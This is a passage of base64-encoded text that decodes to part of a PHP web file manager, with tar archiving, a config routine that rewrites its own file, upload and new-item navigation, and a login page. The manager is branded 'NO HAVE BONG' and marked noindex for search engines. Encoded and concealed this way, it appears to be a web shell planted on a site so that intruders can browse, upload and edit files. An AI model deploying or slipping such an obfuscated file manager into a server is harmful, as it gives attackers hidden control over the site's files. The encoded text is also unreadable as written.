YXIgZmlsZXMgKHVzaW5nIFBoYXJEYXRhKQ0KICovDQpjbGFzcyBGTV9aaXBwZXJfVGFyDQp7DQogICAgcHJpdmF0ZSAkdGFyOw0KDQogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkNCiAgICB7DQogICAgICAgICR0aGlzLT50YXIgPSBudWxsOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENyZWF0ZSBhcmNoaXZlIHdpdGggbmFtZSAkZmlsZW5hbWUgYW5kIGZpbGVzICRmaWxlcyAoUkVMQVRJVkUgUEFUSFMhKQ0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lDQogICAgICogQHBhcmFtIGFycmF5fHN0cmluZyAkZmlsZXMNCiAgICAgKiBAcmV0dXJuIGJvb2wNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlKCRmaWxlbmFtZSwgJGZpbGVzKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPnRhciA9IG5ldyBQaGFyRGF0YSgkZmlsZW5hbWUpOw0KICAgICAgICBpZiAoaXNfYXJyYXkoJGZpbGVzKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7DQogICAgICAgICAgICAgICAgJGYgPSBmbV9jbGVhbl9wYXRoKCRmKTsNCiAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5hZGRGaWxlT3JEaXIoJGYpKSB7DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGlmICgkdGhpcy0+YWRkRmlsZU9yRGlyKCRmaWxlcykpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEV4dHJhY3QgYXJjaGl2ZSAkZmlsZW5hbWUgdG8gZm9sZGVyICRwYXRoIChSRUxBVElWRSBPUiBBQlNPTFVURSBQQVRIUykNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZQ0KICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGgNCiAgICAgKiBAcmV0dXJuIGJvb2wNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gdW56aXAoJGZpbGVuYW1lLCAkcGF0aCkNCiAgICB7DQogICAgICAgICRyZXMgPSAkdGhpcy0+dGFyLT5vcGVuKCRmaWxlbmFtZSk7DQogICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCR0aGlzLT50YXItPmV4dHJhY3RUbygkcGF0aCkpIHsNCiAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBZGQgZmlsZS9mb2xkZXIgdG8gYXJjaGl2ZQ0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lDQogICAgICogQHJldHVybiBib29sDQogICAgICovDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBhZGRGaWxlT3JEaXIoJGZpbGVuYW1lKQ0KICAgIHsNCiAgICAgICAgaWYgKGlzX2ZpbGUoJGZpbGVuYW1lKSkgew0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+dGFyLT5hZGRGaWxlKCRmaWxlbmFtZSk7DQogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZWlmIChpc19kaXIoJGZpbGVuYW1lKSkgew0KICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5hZGREaXIoJGZpbGVuYW1lKTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIGZvbGRlciByZWN1cnNpdmVseQ0KICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGgNCiAgICAgKiBAcmV0dXJuIGJvb2wNCiAgICAgKi8NCiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZERpcigkcGF0aCkNCiAgICB7DQogICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7DQogICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7DQogICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGggLiAnLycgLiAkZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPmFkZERpcigkcGF0aCAuICcvJyAuICRmaWxlKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGggLiAnLycgLiAkZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQp9DQoNCi8qKg0KICogU2F2ZSBDb25maWd1cmF0aW9uDQogKi8NCiBjbGFzcyBGTV9Db25maWcNCnsNCiAgICAgdmFyICRkYXRhOw0KDQogICAgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKQ0KICAgIHsNCiAgICAgICAgZ2xvYmFsICRyb290X3BhdGgsICRyb290X3VybCwgJENPTkZJRzsNCiAgICAgICAgJGZtX3VybCA9ICRyb290X3VybC4kX1NFUlZFUlsiUEhQX1NFTEYiXTsNCiAgICAgICAgJHRoaXMtPmRhdGEgPSBhcnJheSgNCiAgICAgICAgICAgICdsYW5nJyA9PiAnZW4nLA0KICAgICAgICAgICAgJ2Vycm9yX3JlcG9ydGluZycgPT4gdHJ1ZSwNCiAgICAgICAgICAgICdzaG93X2hpZGRlbicgPT4gdHJ1ZQ0KICAgICAgICApOw0KICAgICAgICAkZGF0YSA9IGZhbHNlOw0KICAgICAgICBpZiAoc3RybGVuKCRDT05GSUcpKSB7DQogICAgICAgICAgICAkZGF0YSA9IGZtX29iamVjdF90b19hcnJheShqc29uX2RlY29kZSgkQ09ORklHKSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkbXNnID0gJ05PIEhBVkUgQk9ORzxicj5FcnJvcjogQ2Fubm90IGxvYWQgY29uZmlndXJhdGlvbic7DQogICAgICAgICAgICBpZiAoc3Vic3RyKCRmbV91cmwsIC0xKSA9PSAnLycpIHsNCiAgICAgICAgICAgICAgICAkZm1fdXJsID0gcnRyaW0oJGZtX3VybCwgJy8nKTsNCiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+JzsNCiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+U2VlbXMgbGlrZSB5b3UgaGF2ZSBhIHRyYWlsaW5nIHNsYXNoIG9uIHRoZSBVUkwuJzsNCiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+VHJ5IHRoaXMgbGluazogPGEgaHJlZj0iJyAuICRmbV91cmwgLiAnIj4nIC4gJGZtX3VybCAuICc8L2E+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGRpZSgkbXNnKTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoaXNfYXJyYXkoJGRhdGEpICYmIGNvdW50KCRkYXRhKSkgJHRoaXMtPmRhdGEgPSAkZGF0YTsNCiAgICAgICAgZWxzZSAkdGhpcy0+c2F2ZSgpOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIHNhdmUoKQ0KICAgIHsNCiAgICAgICAgJGZtX2ZpbGUgPSBfX0ZJTEVfXzsNCiAgICAgICAgJHZhcl9uYW1lID0gJyRDT05GSUcnOw0KICAgICAgICAkdmFyX3ZhbHVlID0gdmFyX2V4cG9ydChqc29uX2VuY29kZSgkdGhpcy0+ZGF0YSksIHRydWUpOw0KICAgICAgICAkY29uZmlnX3N0cmluZyA9ICI8P3BocCIgLiBjaHIoMTMpIC4gY2hyKDEwKSAuICIvL0RlZmF1bHQgQ29uZmlndXJhdGlvbiIuY2hyKDEzKSAuIGNocigxMCkuIiR2YXJfbmFtZSA9ICR2YXJfdmFsdWU7IiAuIGNocigxMykgLiBjaHIoMTApOw0KICAgICAgICBpZiAoaXNfd3JpdGFibGUoJGZtX2ZpbGUpKSB7DQogICAgICAgICAgICAkbGluZXMgPSBmaWxlKCRmbV9maWxlKTsNCiAgICAgICAgICAgIGlmICgkZmggPSBAZm9wZW4oJGZtX2ZpbGUsICJ3IikpIHsNCiAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkY29uZmlnX3N0cmluZywgc3RybGVuKCRjb25maWdfc3RyaW5nKSk7DQogICAgICAgICAgICAgICAgZm9yICgkeCA9IDM7ICR4IDwgY291bnQoJGxpbmVzKTsgJHgrKykgew0KICAgICAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkbGluZXNbJHhdLCBzdHJsZW4oJGxpbmVzWyR4XSkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmaCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQp9DQoNCi8vLS0tIFRlbXBsYXRlcyBGdW5jdGlvbnMgLS0tDQoNCi8qKg0KICogU2hvdyBuYXYgYmxvY2sNCiAqIEBwYXJhbSBzdHJpbmcgJHBhdGgNCiAqLw0KZnVuY3Rpb24gZm1fc2hvd19uYXZfcGF0aCgkcGF0aCkNCnsNCiAgICBnbG9iYWwgJGxhbmcsICRzdGlja3lfbmF2YmFyLCAkZWRpdEZpbGU7DQogICAgJGlzU3RpY2t5TmF2QmFyID0gJHN0aWNreV9uYXZiYXIgPyAnZml4ZWQtdG9wJyA6ICcnOw0KICAgICRnZXRUaGVtZSA9IGZtX2dldF90aGVtZSgpOw0KICAgICRnZXRUaGVtZSAuPSAiIG5hdmJhci1saWdodCI7DQogICAgaWYoRk1fVEhFTUUgPT0gImRhcmsiKSB7DQogICAgICAgICRnZXRUaGVtZSAuPSAiIG5hdmJhci1kYXJrIjsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkZ2V0VGhlbWUgLj0gIiBiZy13aGl0ZSI7DQogICAgfQ0KICAgID8+DQogICAgPG5hdiBjbGFzcz0ibmF2YmFyIG5hdmJhci1leHBhbmQtbGcgPD9waHAgZWNobyAkZ2V0VGhlbWU7ID8+IG1iLTQgbWFpbi1uYXYgPD9waHAgZWNobyAkaXNTdGlja3lOYXZCYXIgPz4iPg0KICAgICAgICA8YSBjbGFzcz0ibmF2YmFyLWJyYW5kIj4gPD9waHAgZWNobyBsbmcoJ0FwcFRpdGxlJykgPz4gPC9hPg0KICAgICAgICA8YnV0dG9uIGNsYXNzPSJuYXZiYXItdG9nZ2xlciIgdHlwZT0iYnV0dG9uIiBkYXRhLWJzLXRvZ2dsZT0iY29sbGFwc2UiIGRhdGEtYnMtdGFyZ2V0PSIjbmF2YmFyU3VwcG9ydGVkQ29udGVudCIgYXJpYS1jb250cm9scz0ibmF2YmFyU3VwcG9ydGVkQ29udGVudCIgYXJpYS1leHBhbmRlZD0iZmFsc2UiIGFyaWEtbGFiZWw9IlRvZ2dsZSBuYXZpZ2F0aW9uIj4NCiAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJuYXZiYXItdG9nZ2xlci1pY29uIj48L3NwYW4+DQogICAgICAgIDwvYnV0dG9uPg0KICAgICAgICA8ZGl2IGNsYXNzPSJjb2xsYXBzZSBuYXZiYXItY29sbGFwc2UiIGlkPSJuYXZiYXJTdXBwb3J0ZWRDb250ZW50Ij4NCg0KICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICRwYXRoID0gZm1fY2xlYW5fcGF0aCgkcGF0aCk7DQogICAgICAgICAgICAkcm9vdF91cmwgPSAiPGEgaHJlZj0nP3A9Jz48aSBjbGFzcz0nZmEgZmEtaG9tZScgYXJpYS1oaWRkZW49J3RydWUnIHRpdGxlPSciIC4gRk1fUk9PVF9QQVRIIC4gIic+PC9pPjwvYT4iOw0KICAgICAgICAgICAgJHNlcCA9ICc8aSBjbGFzcz0iYnJlYWQtY3J1bWIiPiAvIDwvaT4nOw0KICAgICAgICAgICAgaWYgKCRwYXRoICE9ICcnKSB7DQogICAgICAgICAgICAgICAgJGV4cGxvZGVkID0gZXhwbG9kZSgnLycsICRwYXRoKTsNCiAgICAgICAgICAgICAgICAkY291bnQgPSBjb3VudCgkZXhwbG9kZWQpOw0KICAgICAgICAgICAgICAgICRhcnJheSA9IGFycmF5KCk7DQogICAgICAgICAgICAgICAgJHBhcmVudCA9ICcnOw0KICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRjb3VudDsgJGkrKykgew0KICAgICAgICAgICAgICAgICAgICAkcGFyZW50ID0gdHJpbSgkcGFyZW50IC4gJy8nIC4gJGV4cGxvZGVkWyRpXSwgJy8nKTsNCiAgICAgICAgICAgICAgICAgICAgJHBhcmVudF9lbmMgPSB1cmxlbmNvZGUoJHBhcmVudCk7DQogICAgICAgICAgICAgICAgICAgICRhcnJheVtdID0gIjxhIGhyZWY9Jz9wPXskcGFyZW50X2VuY30nPiIgLiBmbV9lbmMoZm1fY29udmVydF93aW4oJGV4cGxvZGVkWyRpXSkpIC4gIjwvYT4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkcm9vdF91cmwgLj0gJHNlcCAuIGltcGxvZGUoJHNlcCwgJGFycmF5KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gJzxkaXZjbGFzcz0iY29sLXhzLTYgY29sLXNtLTUiPicgLiAkcm9vdF91cmwgLiAkZWRpdEZpbGUgLiAnPC9kaXY+JzsNCiAgICAgICAgICAgID8+DQoNCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC14cy02IGNvbC1zbS03Ij4NCiAgICAgICAgICAgICAgICA8dWwgY2xhc3M9Im5hdmJhci1uYXYganVzdGlmeS1jb250ZW50LWVuZCA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyAgPz4iPg0KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIG1yLTIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAgaW5wdXQtZ3JvdXAtc20gbXItMSIgc3R5bGU9Im1hcmdpbi10b3A6NHB4OyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSI8P3BocCBlY2hvIGxuZygnU2VhcmNoJykgPz4iIGFyaWEtbGFiZWw9Ijw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PiIgYXJpYS1kZXNjcmliZWRieT0ic2VhcmNoLWFkZG9uMiIgaWQ9InNlYXJjaC1hZGRvbiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAtYXBwZW5kIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImlucHV0LWdyb3VwLXRleHQgYnJsLTAgYnJyLTAiIGlkPSJzZWFyY2gtYWRkb24yIj48aSBjbGFzcz0iZmEgZmEtc2VhcmNoIj48L2k+PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucHV0LWdyb3VwLWFwcGVuZCBidG4tZ3JvdXAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iaW5wdXQtZ3JvdXAtdGV4dCBkcm9wZG93bi10b2dnbGUgYnJsLTAiIGRhdGEtYnMtdG9nZ2xlPSJkcm9wZG93biIgYXJpYS1oYXNwb3B1cD0idHJ1ZSIgYXJpYS1leHBhbmRlZD0iZmFsc2UiPjwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJkcm9wZG93bi1tZW51IGRyb3Bkb3duLW1lbnUtcmlnaHQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImRyb3Bkb3duLWl0ZW0iIGhyZWY9Ijw/cGhwIGVjaG8gJHBhdGgyID0gJHBhdGggPyAkcGF0aCA6ICcuJzsgPz4iIGlkPSJqcy1zZWFyY2gtbW9kYWwiIGRhdGEtYnMtdG9nZ2xlPSJtb2RhbCIgZGF0YS1icy10YXJnZXQ9IiNzZWFyY2hNb2RhbCI+PD9waHAgZWNobyBsbmcoJ0FkdmFuY2VkIFNlYXJjaCcpID8+PC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/Pg0KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz4iIGNsYXNzPSJuYXYtbGluayIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO3VwbG9hZCI+PGkgY2xhc3M9ImZhIGZhLWNsb3VkLXVwbG9hZCIgYXJpYS1oaWRkZW49InRydWUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1VwbG9hZCcpID8+PC9hPg0KICAgICAgICAgICAgICAgICAgICA8L2xpPg0KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnTmV3SXRlbScpID8+IiBjbGFzcz0ibmF2LWxpbmsiIGhyZWY9IiNjcmVhdGVOZXdJdGVtIiBkYXRhLWJzLXRvZ2dsZT0ibW9kYWwiIGRhdGEtYnMtdGFyZ2V0PSIjY3JlYXRlTmV3SXRlbSI+PGkgY2xhc3M9ImZhIGZhLXBsdXMtc3F1YXJlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdOZXdJdGVtJykgPz48L2E+DQogICAgICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoRk1fVVNFX0FVVEgpOiA/Pg0KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIGF2YXRhciBkcm9wZG93biI+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0ibmF2LWxpbmsgZHJvcGRvd24tdG9nZ2xlIiBpZD0ibmF2YmFyRHJvcGRvd25NZW51TGluay01IiBkYXRhLWJzLXRvZ2dsZT0iZHJvcGRvd24iIGFyaWEtaGFzcG9wdXA9InRydWUiIGFyaWEtZXhwYW5kZWQ9ImZhbHNlIj4gPGkgY2xhc3M9ImZhIGZhLXVzZXItY2lyY2xlIj48L2k+IDw/cGhwIGlmKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10pKSB7IGVjaG8gJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXTsgfSA/PjwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImRyb3Bkb3duLW1lbnUgdGV4dC1zbWFsbCBzaGFkb3cgPD9waHAgZWNobyBmbV9nZXRfdGhlbWUoKTsgPz4iIGFyaWEtbGFiZWxsZWRieT0ibmF2YmFyRHJvcGRvd25NZW51TGluay01Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz4iIGNsYXNzPSJkcm9wZG93bi1pdGVtIG5hdi1saW5rIiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MSI+PGkgY2xhc3M9ImZhIGZhLWNvZyIgYXJpYS1oaWRkZW49InRydWUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48L2E+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWYgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PiIgY2xhc3M9ImRyb3Bkb3duLWl0ZW0gbmF2LWxpbmsiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtoZWxwPTIiPjxpIGNsYXNzPSJmYSBmYS1leGNsYW1hdGlvbi1jaXJjbGUiIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdIZWxwJykgPz48L2E+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdMb2dvdXQnKSA/PiIgY2xhc3M9ImRyb3Bkb3duLWl0ZW0gbmF2LWxpbmsiIGhyZWY9Ij9sb2dvdXQ9MSI+PGkgY2xhc3M9ImZhIGZhLXNpZ24tb3V0IiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnTG9nb3V0JykgPz48L2E+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9saT4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2LWl0ZW0iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz4iIGNsYXNzPSJkcm9wZG93bi1pdGVtIG5hdi1saW5rIiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MSI+PGkgY2xhc3M9ImZhIGZhLWNvZyIgYXJpYS1oaWRkZW49InRydWUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48L2E+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICA8L3VsPg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvbmF2Pg0KICAgIDw/cGhwDQp9DQoNCi8qKg0KICogU2hvdyBhbGVydCBtZXNzYWdlIGZyb20gc2Vzc2lvbg0KICovDQpmdW5jdGlvbiBmbV9zaG93X21lc3NhZ2UoKQ0Kew0KICAgIGlmIChpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ21lc3NhZ2UnXSkpIHsNCiAgICAgICAgJGNsYXNzID0gaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSkgPyAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ3N0YXR1cyddIDogJ29rJzsNCiAgICAgICAgZWNobyAnPHAgY2xhc3M9Im1lc3NhZ2UgJyAuICRjbGFzcyAuICciPicgLiAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ21lc3NhZ2UnXSAuICc8L3A+JzsNCiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydtZXNzYWdlJ10pOw0KICAgICAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ3N0YXR1cyddKTsNCiAgICB9DQp9DQoNCi8qKg0KICogU2hvdyBwYWdlIGhlYWRlciBpbiBMb2dpbiBGb3JtDQogKi8NCmZ1bmN0aW9uIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCkNCnsNCiRzcHJpdGVzX3ZlciA9ICcyMDE2MDMxNSc7DQpoZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Iik7DQpoZWFkZXIoIkV4cGlyZXM6IFNhdCwgMjYgSnVsIDE5OTcgMDU6MDA6MDAgR01UIik7DQpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlLCBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wIik7DQpoZWFkZXIoIlByYWdtYTogbm8tY2FjaGUiKTsNCg0KZ2xvYmFsICRsYW5nLCAkcm9vdF91cmwsICRmYXZpY29uX3BhdGg7DQo/Pg0KPCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+DQogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBzaHJpbmstdG8tZml0PW5vIj4NCiAgICA8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iV2ViIGJhc2VkIE5PIEhBVkUgQk9ORyBpbiBQSFAsIE1hbmFnZSB5b3VyIGZpbGVzIGVmZmljaWVudGx5IGFuZCBlYXNpbHkgd2l0aCBOTyBIQVZFIEJPTkciPg0KICAgIDxtZXRhIG5hbWU9ImF1dGhvciIgY29udGVudD0iQ0NQIFByb2dyYW1tZXJzIj4NCiAgICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4NCiAgICA8bWV0YSBuYW1lPSJnb29nbGVib3QiIGNvbnRlbnQ9Im5vaW5kZXgiPg0KICAgIDw/cGhwIGlmKCRmYXZpY29uX3BhdGgpIHsgZWNobyAnPGxpbmsgcmVsPSJpY29uIiBocmVmPSInLmZtX2VuYygkZmF2aWNvbl9wYXRoKS4nIiB0eXBlPSJpbWFnZS9wbmciPic7IH0gPz4NCiAgICA8dGl0bGU+PD9waHAgZWNobyBmbV9lbmMoQVBQX1RJVExFKSA/PjwvdGl0bGU+DQogICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1qc2RlbGl2cicpOyA/Pg0KICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtYm9vdHN0cmFwJyk7ID8+DQogICAgPHN0eWxlPg0KICAgICAgICBib2R5LmZtLWxvZ2luLXBhZ2V7IGJhY2tncm91bmQtY29sb3I6I2Y3ZjlmYjtmb250LXNpemU6MTRweDtiYWNrZ3JvdW5kLWNvbG9yOiNmN2Y5ZmI7YmFja2dyb3VuZC1pbWFnZTp1cmwoImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0NzdmcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB2aWV3Qm94PScwIDAgMzA0IDMwNCcgd2lkdGg9JzMwNCcgaGVpZ2h0PSczMDQnJTNFJTNDcGF0aCBmaWxsPSclMjNlMmU5ZjEnIGZpbGwtb3BhY2l0eT0nMC40JyBkPSdNNDQuMSAyMjRhNSA1IDAgMSAxIDAgMkgwdi0yaDQ0LjF6bTE2MCA0OGE1IDUgMCAxIDEgMCAySDgyd